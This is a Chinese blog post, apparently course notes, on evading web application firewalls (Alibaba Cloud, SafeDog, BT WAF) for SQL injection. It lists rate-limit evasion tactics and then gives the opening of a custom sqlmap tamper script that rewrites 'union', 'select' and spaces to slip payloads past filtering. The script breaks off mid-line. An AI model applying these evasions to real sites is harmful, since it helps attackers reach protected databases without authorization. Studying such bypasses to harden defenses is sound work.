第49天-WAF 绕过-漏洞利用之注入上传跨站等绕过

原创

已于 2022-04-13 10:39:54 修改 · 3.1k 阅读

5 ·

CC 4.0 BY-SA版权

文章标签：

#web安全

于 2022-04-13 10:38:49 首次发布

本文详细介绍了如何使用sqlmap工具配合代理、tamper脚本和user-agent修改来绕过阿里云、SafeDog及BTWAF的防护。通过调整注入规则、模拟用户行为以及利用XSStrike进行XSS攻击的绕过。同时，针对RCE漏洞，文章提到了利用可逆编码算法和替换方法绕过防火墙拦截，并探讨了文件包含漏洞的利用策略。

思维导图

在这里插入图片描述

阿里云 + safedog + BT waf

SQL 注入

注入方式

手工注入

简单、不需要考虑CC 防护

工具注入

sqlmap 速度很快，会触发CC防御

safedog CC 绕过

user-agent

–delay

代理池：换ip

CC 拦截绕过

user-agent：伪装成爬虫白名单

代理池：每秒钟换ip

延时设置： --delay

aliyun + safedog 演示

sqlmap工具+代理 +tamper （自写注入规则）

–tamper

rdog.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload,**kwargs):
    retVal =""
    if payload:
        payload = payload.replace("union","%23a%0aunion")
        payload = payload.replace("select","/*!4457select*/")
        payload = payload.replace("%20","%23a%0a")
        payload = payload.replace(" ","%23a%0a")
        payload = payload.replace(<